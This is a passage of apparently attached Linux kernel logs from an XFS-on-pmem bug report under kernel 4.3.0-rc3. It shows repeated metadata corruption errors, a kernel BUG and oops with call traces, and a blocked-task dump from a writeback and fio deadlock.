V.......V....... [ 87.672726] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672727] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672729] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672730] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672741] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672742] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672743] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672744] ffff88040d3f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672745] ffff88040d3f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672746] ffff88040d3f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672747] ffff88040d3f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672748] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672749] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672750] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672790] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672791] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672792] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672793] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672794] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672795] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672796] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672797] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672798] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672800] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672806] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672807] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672808] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672809] ffff88040d3f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672810] ffff88040d3f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672811] ffff88040d3f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672812] ffff88040d3f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672813] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672815] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672816] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.672826] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.672827] XFS (pmem0p2): Unmount and run xfs_repair [ 87.672828] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.672829] ffff88040f12e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.672830] ffff88040f12e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.672831] ffff88040f12e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.672832] ffff88040f12e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.672833] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.672835] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.672836] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.685900] XFS (pmem0p2): Invalid inode number 0xf56842a6bf [ 87.685905] XFS (pmem0p2): Internal error xfs_dir_ino_validate at line 216 of file fs/xfs/libxfs/xfs_dir2.c. Caller __xfs_dir3_data_check+0x365/0x6e0 [ 87.685907] CPU: 3 PID: 135 Comm: kworker/3:1 Not tainted 4.3.0-rc3 #16 [ 87.685908] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 [ 87.685911] Workqueue: xfs-buf/pmem0p2 xfs_buf_ioend_work [ 87.685912] 0000000000000000 0000000039040314 ffff88003695fcb0 ffffffff814def5f [ 87.685914] ffff8801fbbad000 ffff88003695fcc8 ffffffff8140affc ffffffff813e73b5 [ 87.685915] ffff88003695fce8 ffffffff813e40bb ffff8801fbbad000 ffff8800bb36b000 [ 87.685917] Call Trace: [ 87.685922] [] dump_stack+0x44/0x55 [ 87.685924] [] xfs_error_report+0x3c/0x40 [ 87.685925] [] ? __xfs_dir3_data_check+0x365/0x6e0 [ 87.685927] [] xfs_dir_ino_validate+0xab/0x110 [ 87.685928] [] __xfs_dir3_data_check+0x365/0x6e0 [ 87.685930] [] ? xfs_buf_ioend_work+0x15/0x20 [ 87.685932] [] xfs_dir3_data_verify+0x76/0x80 [ 87.685933] [] xfs_dir3_data_read_verify+0x44/0x100 [ 87.685934] [] ? xfs_buf_ioend_work+0x15/0x20 [ 87.685936] [] xfs_dir3_data_reada_verify+0x76/0x80 [ 87.685937] [] xfs_buf_ioend+0x85/0x140 [ 87.685938] [] xfs_buf_ioend_work+0x15/0x20 [ 87.685942] [] process_one_work+0x14b/0x3d0 [ 87.685943] [] worker_thread+0x4e/0x450 [ 87.685946] [] ? __schedule+0x2a4/0x8f0 [ 87.685947] [] ? rescuer_thread+0x2f0/0x2f0 [ 87.685948] [] ? rescuer_thread+0x2f0/0x2f0 [ 87.685950] [] kthread+0xd8/0xf0 [ 87.685951] [] ? kthread_park+0x60/0x60 [ 87.685953] [] ret_from_fork+0x3f/0x70 [ 87.685955] [] ? kthread_park+0x60/0x60 [ 87.685956] XFS: Assertion failed: fs_is_ok, file: fs/xfs/libxfs/xfs_dir2_data.c, line: 165 [ 87.685970] ------------[ cut here ]------------ [ 87.685971] kernel BUG at fs/xfs/xfs_message.c:106! [ 87.685972] invalid opcode: 0000 [#1] SMP [ 87.685973] Modules linked in: nd_pmem nd_btt nd_e820 libnvdimm [ 87.685976] CPU: 3 PID: 135 Comm: kworker/3:1 Not tainted 4.3.0-rc3 #16 [ 87.685977] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 [ 87.685978] Workqueue: xfs-buf/pmem0p2 xfs_buf_ioend_work [ 87.685979] task: ffff880036948d40 ti: ffff88003695c000 task.ti: ffff88003695c000 [ 87.685980] RIP: 0010:[] [] assfail+0x20/0x30 [ 87.685982] RSP: 0018:ffff88003695fce8 EFLAGS: 00010246 [ 87.685983] RAX: 0000000000000000 RBX: ffff8801fbbad000 RCX: 000000000000004f [ 87.685984] RDX: 0000000000000000 RSI: 0000000000000246 RDI: ffff88043fcce110 [ 87.685985] RBP: ffff88003695fce8 R08: 000000000000000a R09: 000000000000fffe [ 87.685985] R10: 00000000000400be R11: 0000000000000002 R12: ffff8800bb36b000 [ 87.685986] R13: 0000000000000000 R14: ffff8800bb36b004 R15: ffff8800bb36bb50 [ 87.685987] FS: 0000000000000000(0000) GS:ffff88043fcc0000(0000) knlGS:0000000000000000 [ 87.685988] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 87.685989] CR2: 0000000001090108 CR3: 00000000babeb000 CR4: 00000000000406e0 [ 87.685992] Stack: [ 87.685992] ffff88003695fd68 ffffffff813e73d5 0000000000000b20 ffffffff81a4dd00 [ 87.685994] 000000070000003c 0000000000000000 ffff8800bb36c000 ffff8800bac52c80 [ 87.685995] ffff88043fcd74f8 ffff88003695fd88 0000000039040314 ffff8800af5a0a80 [ 87.685997] Call Trace: [ 87.685999] [] __xfs_dir3_data_check+0x385/0x6e0 [ 87.686002] [] ? xfs_buf_ioend_work+0x15/0x20 [ 87.686004] [] xfs_dir3_data_verify+0x76/0x80 [ 87.686006] [] xfs_dir3_data_read_verify+0x44/0x100 [ 87.686006] [] ? xfs_buf_ioend_work+0x15/0x20 [ 87.686006] [] xfs_dir3_data_reada_verify+0x76/0x80 [ 87.686006] [] xfs_buf_ioend+0x85/0x140 [ 87.686006] [] xfs_buf_ioend_work+0x15/0x20 [ 87.686006] [] process_one_work+0x14b/0x3d0 [ 87.686006] [] worker_thread+0x4e/0x450 [ 87.686006] [] ? __schedule+0x2a4/0x8f0 [ 87.686006] [] ? rescuer_thread+0x2f0/0x2f0 [ 87.686006] [] ? rescuer_thread+0x2f0/0x2f0 [ 87.686006] [] kthread+0xd8/0xf0 [ 87.686006] [] ? kthread_park+0x60/0x60 [ 87.686006] [] ret_from_fork+0x3f/0x70 [ 87.686006] [] ? kthread_park+0x60/0x60 [ 87.686006] Code: 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 55 48 89 f1 41 89 d0 48 c7 c6 f0 7b d0 81 48 89 fa 31 ff 48 89 e5 e8 30 fa ff ff <0f> 0b 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 [ 87.686006] RIP [] assfail+0x20/0x30 [ 87.686006] RSP [ 87.686054] ---[ end trace 974f0659d1414622 ]--- [ 87.686071] BUG: unable to handle kernel paging request at ffffffffffffffd8 [ 87.686073] IP: [] kthread_data+0x10/0x20 [ 87.686075] PGD 200f067 PUD 2011067 PMD 0 [ 87.686077] Oops: 0000 [#2] SMP [ 87.686077] Modules linked in: nd_pmem nd_btt nd_e820 libnvdimm [ 87.686080] CPU: 3 PID: 135 Comm: kworker/3:1 Tainted: G D 4.3.0-rc3 #16 [ 87.686081] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 [ 87.686087] task: ffff880036948d40 ti: ffff88003695c000 task.ti: ffff88003695c000 [ 87.686088] RIP: 0010:[] [] kthread_data+0x10/0x20 [ 87.686090] RSP: 0018:ffff88003695f9c0 EFLAGS: 00010002 [ 87.686091] RAX: 0000000000000000 RBX: 0000000000000003 RCX: 0000000000000003 [ 87.686092] RDX: ffff88041a004000 RSI: 0000000000000003 RDI: ffff880036948d40 [ 87.686092] RBP: ffff88003695f9c0 R08: ffff880036948dc8 R09: 0000000000000246 [ 87.686093] R10: ffff88043fcdafd0 R11: 0000000000000000 R12: 0000000000017480 [ 87.686094] R13: ffff880036948d40 R14: 0000000000000003 R15: 0000000000000000 [ 87.686095] FS: 0000000000000000(0000) GS:ffff88043fcc0000(0000) knlGS:0000000000000000 [ 87.686096] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 87.686097] CR2: 0000000000000028 CR3: 00000000babeb000 CR4: 00000000000406e0 [ 87.686099] Stack: [ 87.686099] ffff88003695f9d8 ffffffff810b7d41 ffff88043fcd7480 ffff88003695fa20 [ 87.686101] ffffffff8195d364 ffffffff810a07b5 ffff880036948d40 ffff880036960000 [ 87.686102] ffff88003695fa70 ffff88003695fa70 ffff88003695f6d0 ffff88003695f6d0 [ 87.686104] Call Trace: [ 87.686105] [] wq_worker_sleeping+0x11/0x90 [ 87.686107] [] __schedule+0x6d4/0x8f0 [ 87.686108] [] ? release_task+0x385/0x470 [ 87.686110] [] schedule+0x33/0x80 [ 87.686111] [] do_exit+0x721/0xa10 [ 87.686114] [] oops_end+0x9a/0xd0 [ 87.686115] [] die+0x4b/0x70 [ 87.686118] [] do_trap+0x139/0x140 [ 87.686119] [] do_error_trap+0x89/0x110 [ 87.686120] [] ? assfail+0x20/0x30 [ 87.686122] [] do_invalid_op+0x20/0x30 [ 87.686123] [] invalid_op+0x1e/0x30 [ 87.686124] [] ? assfail+0x20/0x30 [ 87.686126] [] ? assfail+0x20/0x30 [ 87.686127] [] __xfs_dir3_data_check+0x385/0x6e0 [ 87.686129] [] ? xfs_buf_ioend_work+0x15/0x20 [ 87.686131] [] xfs_dir3_data_verify+0x76/0x80 [ 87.686133] [] xfs_dir3_data_read_verify+0x44/0x100 [ 87.686134] [] ? xfs_buf_ioend_work+0x15/0x20 [ 87.686135] [] xfs_dir3_data_reada_verify+0x76/0x80 [ 87.686137] [] xfs_buf_ioend+0x85/0x140 [ 87.686139] [] xfs_buf_ioend_work+0x15/0x20 [ 87.686140] [] process_one_work+0x14b/0x3d0 [ 87.686142] [] worker_thread+0x4e/0x450 [ 87.686143] [] ? __schedule+0x2a4/0x8f0 [ 87.686144] [] ? rescuer_thread+0x2f0/0x2f0 [ 87.686145] [] ? rescuer_thread+0x2f0/0x2f0 [ 87.686146] [] kthread+0xd8/0xf0 [ 87.686148] [] ? kthread_park+0x60/0x60 [ 87.686150] [] ret_from_fork+0x3f/0x70 [ 87.686151] [] ? kthread_park+0x60/0x60 [ 87.686152] Code: 63 20 ba 01 00 00 00 75 c2 48 8b 53 08 eb af e8 57 1b fe ff 0f 1f 80 00 00 00 00 66 66 66 66 90 48 8b 87 18 04 00 00 55 48 89 e5 <48> 8b 40 d8 5d c3 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 [ 87.686168] RIP [] kthread_data+0x10/0x20 [ 87.686170] RSP [ 87.686171] CR2: ffffffffffffffd8 [ 87.686172] ---[ end trace 974f0659d1414623 ]--- [ 87.686173] Fixing recursive fault but reboot is needed! --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="xfs_083_v4.3-rc3_trace2" [ 1207.458454] XFS (pmem0p2): corrupt dinode 8429878, extent total = 5404928, nblocks = 0. [ 1207.458456] ffff8800ba925600: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 1207.458458] ffff8800ba925610: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 1207.458459] ffff8800ba925620: 56 0e a7 da 08 20 22 34 56 0e a7 da 08 20 22 34 V.... "4V.... "4 [ 1207.458460] ffff8800ba925630: 56 0e a7 da 08 20 22 34 00 00 00 00 00 00 00 06 V.... "4........ [ 1207.458464] XFS (pmem0p2): Internal error xfs_iformat(1) at line 100 of file fs/xfs/libxfs/xfs_inode_fork.c. Caller xfs_iread+0x321/0x3e0 [ 1207.458466] CPU: 0 PID: 4237 Comm: find Not tainted 4.3.0-rc3 #16 [ 1207.458467] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 [ 1207.458468] 0000000000000000 00000000acb7eeb8 ffff8801fb1cfa58 ffffffff814def5f [ 1207.458470] ffff8800ae32b800 ffff8801fb1cfa98 ffffffff8140b08c ffffffff813fade1 [ 1207.458471] ffffffff81d05538 ffff8800ba925600 ffff8800af0de600 ffff8800ae32b800 [ 1207.458473] Call Trace: [ 1207.458478] [] dump_stack+0x44/0x55 [ 1207.458480] [] xfs_corruption_error+0x8c/0x90 [ 1207.458481] [] ? xfs_iread+0x321/0x3e0 [ 1207.458483] [] xfs_iformat_fork+0x360/0x520 [ 1207.458484] [] ? xfs_iread+0x321/0x3e0 [ 1207.458485] [] xfs_iread+0x321/0x3e0 [ 1207.458487] [] xfs_iget+0x28b/0x720 [ 1207.458490] [] ? xfs_dir_lookup+0x13c/0x1d0 [ 1207.458491] [] xfs_lookup+0xea/0x120 [ 1207.458493] [] xfs_vn_lookup+0x73/0xb0 [ 1207.458495] [] lookup_real+0x1d/0x60 [ 1207.458496] [] __lookup_hash+0x42/0x60 [ 1207.458498] [] walk_component+0x1eb/0x490 [ 1207.458499] [] ? xfs_iunlock+0x165/0x1c0 [ 1207.458501] [] ? __fdget_raw+0x10/0x20 [ 1207.458502] [] ? path_init+0xc0/0x3c0 [ 1207.458503] [] path_lookupat+0x5d/0x110 [ 1207.458505] [] filename_lookup+0xb1/0x180 [ 1207.458506] [] ? xfs_iunlock+0x1b4/0x1c0 [ 1207.458507] [] ? kmem_cache_alloc+0x183/0x1f0 [ 1207.458509] [] ? getname_flags+0x56/0x1f0 [ 1207.458510] [] user_path_at_empty+0x36/0x40 [ 1207.458512] [] vfs_fstatat+0x66/0xc0 [ 1207.458513] [] ? __fd_install+0x33/0xe0 [ 1207.458515] [] SYSC_newfstatat+0x24/0x60 [ 1207.458516] [] ? f_dupfd+0x6e/0x80 [ 1207.458518] [] ? SyS_fcntl+0x13b/0x550 [ 1207.458519] [] SyS_newfstatat+0xe/0x10 [ 1207.458522] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1207.458523] XFS (pmem0p2): Corruption detected. Unmount and run xfs_repair [ 1207.458524] XFS (pmem0p2): xfs_iread: xfs_iformat() returned error -117 [ 1207.458532] XFS (pmem0p2): corrupt dinode 8429878, extent total = 5404928, nblocks = 0. [ 1207.458533] ffff8800ba925600: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 1207.458534] ffff8800ba925610: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 1207.458535] ffff8800ba925620: 56 0e a7 da 08 20 22 34 56 0e a7 da 08 20 22 34 V.... "4V.... "4 [ 1207.458536] ffff8800ba925630: 56 0e a7 da 08 20 22 34 00 00 00 00 00 00 00 06 V.... "4........ [ 1207.458538] XFS (pmem0p2): Internal error xfs_iformat(1) at line 100 of file fs/xfs/libxfs/xfs_inode_fork.c. Caller xfs_iread+0x321/0x3e0 [ 1207.458539] CPU: 0 PID: 4237 Comm: find Not tainted 4.3.0-rc3 #16 [ 1207.458540] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 [ 1207.458540] 0000000000000000 00000000acb7eeb8 ffff8801fb1cfa58 ffffffff814def5f [ 1207.458542] ffff8800ae32b800 ffff8801fb1cfa98 ffffffff8140b08c ffffffff813fade1 [ 1207.458543] ffffffff81d05538 ffff8800ba925600 ffff8800af0dea40 ffff8800ae32b800 [ 1207.458544] Call Trace: [ 1207.458546] [] dump_stack+0x44/0x55 [ 1207.458547] [] xfs_corruption_error+0x8c/0x90 [ 1207.458549] [] ? xfs_iread+0x321/0x3e0 [ 1207.458550] [] xfs_iformat_fork+0x360/0x520 [ 1207.458551] [] ? xfs_iread+0x321/0x3e0 [ 1207.458552] [] xfs_iread+0x321/0x3e0 [ 1207.458554] [] xfs_iget+0x28b/0x720 [ 1207.458555] [] ? xfs_dir_lookup+0x13c/0x1d0 [ 1207.458557] [] xfs_lookup+0xea/0x120 [ 1207.458558] [] xfs_vn_lookup+0x73/0xb0 [ 1207.458571] [] lookup_real+0x1d/0x60 [ 1207.458572] [] __lookup_hash+0x42/0x60 [ 1207.458573] [] walk_component+0x1eb/0x490 [ 1207.458574] [] ? __fdget_raw+0x10/0x20 [ 1207.458575] [] ? path_init+0xc0/0x3c0 [ 1207.458576] [] path_lookupat+0x5d/0x110 [ 1207.458578] [] filename_lookup+0xb1/0x180 [ 1207.458579] [] ? xfs_iunlock+0x1b4/0x1c0 [ 1207.458580] [] ? kmem_cache_alloc+0x183/0x1f0 [ 1207.458581] [] ? getname_flags+0x56/0x1f0 [ 1207.458582] [] user_path_at_empty+0x36/0x40 [ 1207.458583] [] vfs_fstatat+0x66/0xc0 [ 1207.458585] [] ? __fd_install+0x33/0xe0 [ 1207.458586] [] SYSC_newfstatat+0x24/0x60 [ 1207.458587] [] ? f_dupfd+0x6e/0x80 [ 1207.458588] [] ? SyS_fcntl+0x13b/0x550 [ 1207.458590] [] SyS_newfstatat+0xe/0x10 [ 1207.458591] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1207.458592] XFS (pmem0p2): Corruption detected. Unmount and run xfs_repair [ 1207.458593] XFS (pmem0p2): xfs_iread: xfs_iformat() returned error -117 [ 1207.458626] XFS (pmem0p2): corrupt dinode 8429878, extent total = 5404928, nblocks = 0. [ 1207.458627] ffff8800ba925600: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 1207.458629] ffff8800ba925610: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 1207.458630] ffff8800ba925620: 56 0e a7 da 08 20 22 34 56 0e a7 da 08 20 22 34 V.... "4V.... "4 [ 1207.458631] ffff8800ba925630: 56 0e a7 da 08 20 22 34 00 00 00 00 00 00 00 06 V.... "4........ [ 1207.458634] XFS (pmem0p2): Internal error xfs_iformat(1) at line 100 of file fs/xfs/libxfs/xfs_inode_fork.c. Caller xfs_iread+0x321/0x3e0 [ 1207.458636] CPU: 0 PID: 4237 Comm: find Not tainted 4.3.0-rc3 #16 [ 1207.458637] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 [ 1207.458638] 0000000000000000 00000000acb7eeb8 ffff8801fb1cfa58 ffffffff814def5f [ 1207.458640] ffff8800ae32b800 ffff8801fb1cfa98 ffffffff8140b08c ffffffff813fade1 [ 1207.458642] ffffffff81d05538 ffff8800ba925600 ffff8800af0dee80 ffff8800ae32b800 [ 1207.458644] Call Trace: [ 1207.458647] [] dump_stack+0x44/0x55 [ 1207.458649] [] xfs_corruption_error+0x8c/0x90 [ 1207.458650] [] ? xfs_iread+0x321/0x3e0 [ 1207.458652] [] xfs_iformat_fork+0x360/0x520 [ 1207.458654] [] ? xfs_iread+0x321/0x3e0 [ 1207.458656] [] xfs_iread+0x321/0x3e0 [ 1207.458657] [] xfs_iget+0x28b/0x720 [ 1207.458659] [] ? xfs_dir_lookup+0x13c/0x1d0 [ 1207.458660] [] xfs_lookup+0xea/0x120 [ 1207.458662] [] xfs_vn_lookup+0x73/0xb0 [ 1207.458663] [] lookup_real+0x1d/0x60 [ 1207.458664] [] __lookup_hash+0x42/0x60 [ 1207.458665] [] walk_component+0x1eb/0x490 [ 1207.458666] [] ? __fdget_raw+0x10/0x20 [ 1207.458667] [] ? path_init+0xc0/0x3c0 [ 1207.458668] [] path_lookupat+0x5d/0x110 [ 1207.458669] [] filename_lookup+0xb1/0x180 [ 1207.458671] [] ? file_update_time+0xc9/0x110 [ 1207.458672] [] ? kmem_cache_alloc+0x183/0x1f0 [ 1207.458673] [] ? getname_flags+0x56/0x1f0 [ 1207.458674] [] user_path_at_empty+0x36/0x40 [ 1207.458676] [] vfs_fstatat+0x66/0xc0 [ 1207.458677] [] SYSC_newfstatat+0x24/0x60 [ 1207.458678] [] ? vfs_write+0x149/0x190 [ 1207.458679] [] ? SyS_write+0x55/0xc0 [ 1207.458681] [] SyS_newfstatat+0xe/0x10 [ 1207.458682] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1207.458683] XFS (pmem0p2): Corruption detected. Unmount and run xfs_repair [ 1207.458684] XFS (pmem0p2): xfs_iread: xfs_iformat() returned error -117 --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="generic_299.deadlock" [ 1501.261288] sysrq: SysRq : Show Blocked State [ 1501.261292] task PC stack pid father [ 1501.261294] kworker/u12:0 D ffff88043fcd7480 0 6 2 0x00000000 [ 1501.261300] Workqueue: writeback wb_workfn (flush-259:0) [ 1501.261302] ffff88041121b148 0000000000000046 ffff88041122c240 ffff880411164240 [ 1501.261303] ffff88041121c000 ffff88040fb5cf30 ffff880411164240 0000000000000008 [ 1501.261305] ffff8801fcd70010 ffff88041121b160 ffffffff8195ce23 7fffffffffffffff [ 1501.261306] Call Trace: [ 1501.261311] [] schedule+0x33/0x80 [ 1501.261313] [] schedule_timeout+0x1fa/0x290 [ 1501.261316] [] ? down_trylock+0x2e/0x40 [ 1501.261318] [] ? xfs_buf_trylock+0x1c/0x90 [ 1501.261320] [] __down+0x72/0xc0 [ 1501.261321] [] ? _xfs_buf_find+0x1d7/0x370 [ 1501.261322] [] down+0x41/0x50 [ 1501.261324] [] xfs_buf_lock+0x3c/0xe0 [ 1501.261325] [] _xfs_buf_find+0x1d7/0x370 [ 1501.261326] [] xfs_buf_get_map+0x2a/0x180 [ 1501.261328] [] xfs_buf_read_map+0x2c/0x100 [ 1501.261330] [] xfs_trans_read_buf_map+0x1a5/0x360 [ 1501.261333] [] xfs_read_agf+0xb1/0x140 [ 1501.261334] [] xfs_alloc_read_agf+0x64/0x260 [ 1501.261335] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 [ 1501.261338] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261340] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261341] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261342] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261344] [] xfs_alloc_vextent+0x22d/0x7f0 [ 1501.261345] [] xfs_bmap_btalloc+0x3c1/0x800 [ 1501.261347] [] ? xfs_iext_get_ext+0x95/0xf0 [ 1501.261349] [] xfs_bmap_alloc+0x24/0x30 [ 1501.261350] [] xfs_bmapi_write+0x6b3/0xf50 [ 1501.261353] [] xfs_iomap_write_allocate+0x141/0x330 [ 1501.261355] [] xfs_map_blocks+0x255/0x2f0 [ 1501.261357] [] xfs_vm_writepage+0x1aa/0x640 [ 1501.261359] [] __writepage+0x13/0x30 [ 1501.261361] [] write_cache_pages+0x224/0x4a0 [ 1501.261363] [] ? mod_timer+0x10f/0x210 [ 1501.261364] [] ? wb_position_ratio+0x1f0/0x1f0 [ 1501.261366] [] generic_writepages+0x51/0x80 [ 1501.261367] [] xfs_vm_writepages+0x3d/0x50 [ 1501.261369] [] do_writepages+0x1e/0x30 [ 1501.261371] [] __writeback_single_inode+0x45/0x290 [ 1501.261372] [] writeback_sb_inodes+0x264/0x4d0 [ 1501.261374] [] wb_writeback+0x106/0x2a0 [ 1501.261376] [] wb_workfn+0x108/0x390 [ 1501.261379] [] process_one_work+0x14b/0x3d0 [ 1501.261380] [] worker_thread+0x4e/0x450 [ 1501.261382] [] ? rescuer_thread+0x2f0/0x2f0 [ 1501.261383] [] kthread+0xd8/0xf0 [ 1501.261385] [] ? kthread_park+0x60/0x60 [ 1501.261386] [] ret_from_fork+0x3f/0x70 [ 1501.261388] [] ? kthread_park+0x60/0x60 [ 1501.261412] fio D ffff88043fd57480 0 3806 3734 0x00000000 [ 1501.261414] ffff88040f7231e8 0000000000000082 ffff88041122dcc0 ffff8801fcdc0000 [ 1501.261415] ffff88040f724000 ffff88040fb5cf30 ffff8801fcdc0000 0000000000000008 [ 1501.261417] ffff8801fcd70010 ffff88040f723200 ffffffff8195ce23 7fffffffffffffff [ 1501.261418] Call Trace: [ 1501.261420] [] schedule+0x33/0x80 [ 1501.261421] [] schedule_timeout+0x1fa/0x290 [ 1501.261423] [] ? xfs_buf_free+0xf3/0x140 [ 1501.261424] [] ? xfs_buf_get_map+0x170/0x180 [ 1501.261425] [] __down+0x72/0xc0 [ 1501.261427] [] ? _xfs_buf_find+0x1d7/0x370 [ 1501.261428] [] down+0x41/0x50 [ 1501.261429] [] xfs_buf_lock+0x3c/0xe0 [ 1501.261430] [] _xfs_buf_find+0x1d7/0x370 [ 1501.261432] [] xfs_buf_get_map+0x2a/0x180 [ 1501.261433] [] xfs_buf_read_map+0x2c/0x100 [ 1501.261435] [] xfs_trans_read_buf_map+0x1a5/0x360 [ 1501.261436] [] xfs_read_agf+0xb1/0x140 [ 1501.261437] [] xfs_alloc_read_agf+0x64/0x260 [ 1501.261438] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 [ 1501.261440] [] ? xfs_bmap_add_extent_unwritten_real+0x3ee/0x1ae0 [ 1501.261441] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261443] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261444] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261445] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261447] [] xfs_alloc_vextent+0x22d/0x7f0 [ 1501.261448] [] xfs_bmap_btalloc+0x3c1/0x800 [ 1501.261449] [] ? xfs_iext_get_ext+0x95/0xf0 [ 1501.261451] [] xfs_bmap_alloc+0x24/0x30 [ 1501.261453] [] xfs_bmapi_write+0x6b3/0xf50 [ 1501.261455] [] xfs_iomap_write_direct+0x248/0x380 [ 1501.261457] [] __xfs_get_blocks+0x458/0x7b0 [ 1501.261459] [] xfs_get_blocks_direct+0x14/0x20 [ 1501.261461] [] do_blockdev_direct_IO+0xf8c/0x2bd0 [ 1501.261463] [] ? xfs_get_blocks+0x20/0x20 [ 1501.261465] [] __blockdev_direct_IO+0x43/0x50 [ 1501.261467] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261469] [] xfs_vm_direct_IO+0xc1/0x120 [ 1501.261470] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261472] [] xfs_file_dio_aio_write+0x1e8/0x3b0 [ 1501.261473] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261475] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261476] [] xfs_file_write_iter+0x81/0x120 [ 1501.261479] [] aio_run_iocb+0x26a/0x2d0 [ 1501.261480] [] ? aio_read_events+0x28d/0x380 [ 1501.261482] [] ? 